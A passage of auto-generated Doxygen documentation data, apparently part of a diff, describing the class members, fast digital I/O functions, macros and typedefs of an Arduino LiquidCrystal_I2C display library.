'/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '193'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a0d40b3c14c3f56fd341d41220f425925'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_strobe'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '186'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a2a7d9703b04a91658b7a590b926ff9cd'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_strobe_reg'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '187'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + cp-fileline = '67'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 37; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 36; + node-label = 'LiquidCrystal_SR3W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r3_w'; + }; + node-child = { + child-id = '37'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 39; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 38; + node-label = 'LiquidCrystal_SR3W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r3_w'; + }; + node-child = { + child-id = '39'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +file = { + file-id = '_fast_i_o_8cpp'; + file-name = 'FastIO.cpp'; + func = { + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a83fc2fdc19ab3f9aade9e1a2f39e81a6'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_digitalRead'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinBit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '96'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract direct digital read + @discussion without any checks + @discussion falls back to normal digitalRead if fast io is disabled + @param pinRegister[in] Register - ignored if fast io is disabled + @param pinBit[in] Bit - Pin if fast io is disabled + @result Value read from pin +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1ae91bbe682b02a5842c291055c0e998b5'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_digitalWrite'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '77'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract direct digital write + @discussion without any checks + @discussion falls back to normal digitalWrite if fast io is disabled + @param pinRegister[in] Register - ignored if fast digital write is disabled + @param pinBit[in] Bit - Pin if fast digital write is disabled + @param value[in] desired output +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a07a19dfbdca1afaca5d666bdaa3be7d5'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToBit'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '66'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Find the bit which belongs to specified pin + @discussion if fast digitalWrite is disabled this function returns the pin + @param pin[in] Number of a digital pin + @result Bit +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1afb934fc0ded94cbb5ed8ed14e2a123ed'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToInputRegister'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '53'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Get the input register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a04210cc785c3b4a11c86f794949c327f'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToOutputRegister'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'initial_state'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '36'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Get the output register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a5d8d5977294d614d15bda19f75d6b787'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockBit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '161'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract faster shift out clear + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a56c72b9f00680662229895ab22aaa743'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'bitOrder'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '111'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract faster shift out + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled + @param bitOrder[in] bit order +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a7ac8b242e7e3cacf175e481889e047dd'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +boolean +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'noLatch'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '265'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract one wire shift out + @discussion protocol needs initialisation (fio_shiftOut1_init) + @param pin[in] digital pin + @param value[in] value to shift out, last byte is ignored and always shifted out LOW +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a5b4d1684030dc620938b7c2fbdf5ced8'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Register'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Bit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +boolean +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'noLatch'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '192'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract one wire shift out + @discussion protocol needs initialisation (fio_shiftOut1_init) + @param shift1Register[in] pins register + @param shift1Bit[in] pins bit + @param value[in] value to shift out, last byte is ignored and always shifted out LOW +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a2d0e4495eb12504255bbd3f82405b17b'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1_init'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Register'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Bit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '182'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract initializes one wire shift out protocol + @discussion Puts pin to HIGH state and delays until Capacitors are charged. + @param shift1Register[in] pins register + @param shift1Bit[in] pins bit +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1ae4b2e099f8ade9ee674d1565669e870a'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1_init'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '177'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract initializes one wire shift out protocol + @discussion Puts pin to HIGH state and delays until Capacitors are charged. + @param pin[in] digital pin +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_fast_i_o_8h'; + file-name = 'FastIO.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a04971fe5fabe4129736708c494e08e6d'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'ATOMIC_BLOCK'; + define-mem-param = { + define-mem-def-name = 'dummy'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +if(true) +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '58'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a362c18b15a09703e42e1c246c47420ef'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'ATOMIC_RESTORESTATE'; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '59'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a89e1c62276052100c62b6c82a2e95622'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'fio_digitalWrite_HIGH'; + define-mem-param = { + define-mem-def-name = 'reg'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'bit'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +digitalWrite(bit,HIGH) +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '143'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + This is where the magic happens that makes things fast. + Implemented as preprocessor directives to force inlining + SWITCH is fast for FIO but probably slow for FIO_FALLBACK so SWITCHTO is recommended if the value is known. +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1ac8f00a1bccb98109531b88fbb6e91478'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'fio_digitalWrite_LOW'; + define-mem-param = { + define-mem-def-name = 'reg'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'bit'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +digitalWrite(bit,LOW) +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '144'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a6d1dffed7f0c8f28f6c88146315f7832'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'fio_digitalWrite_SWITCH'; + define-mem-param = { + define-mem-def-name = 'reg'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'bit'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +digitalWrite(bit, !digitalRead(bit)) +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '145'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1accae9687fdfc5f3492fb6344d62eb190'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'fio_digitalWrite_SWITCHTO'; + define-mem-param = { + define-mem-def-name = 'reg'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'bit'; + }; /* define-mem-def--param */ + define-mem-param = { + define-mem-def-name = 'val'; + }; /* define-mem-def--param */ + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +digitalWrite(bit,val); +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '146'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a32f90d0ad5c1295c97cc1e79936aadd6'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'FIO_FALLBACK'; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '57'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_fast_i_o_8h_1a688a4adbb87520a2b68681bd6bfb199e'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SKIP'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x23 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + define-mem-desc-line = '42'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + typedef = { + typedef-member = { + typedef-mem-kind = 'typedef'; + typedef-mem-id = '_fast_i_o_8h_1a0a595a88b29bcfd1540b6fac75787937'; + typedef-mem-virt = normal; + typedef-mem-prot = public; + typedef-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + typedef-mem-name = 'fio_bit'; + typedef-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + typedef-mem-desc-line = '60'; + typedef-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + typedef-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* typedef-member */ + typedef-member = { + typedef-mem-kind = 'typedef'; + typedef-mem-id = '_fast_i_o_8h_1ae44ea3af54ef26db03f1ae2ea62f9c1f'; + typedef-mem-virt = normal; + typedef-mem-prot = public; + typedef-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + typedef-mem-name = 'fio_register'; + typedef-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + typedef-mem-desc-line = '61'; + typedef-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + typedef-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* typedef-member */ + }; + func = { + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a197336e47e1c3f929056ce3abbbc7e8d'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_digitalRead'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinBit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '158'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract direct digital read + @discussion without any checks + @discussion falls back to normal digitalRead if fast io is disabled + @param pinRegister[in] Register - ignored if fast io is disabled + @param pinBit[in] Bit - Pin if fast io is disabled + @result Value read from pin +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1ae91bbe682b02a5842c291055c0e998b5'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_digitalWrite'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '128'; + func-mem-briefdesc = 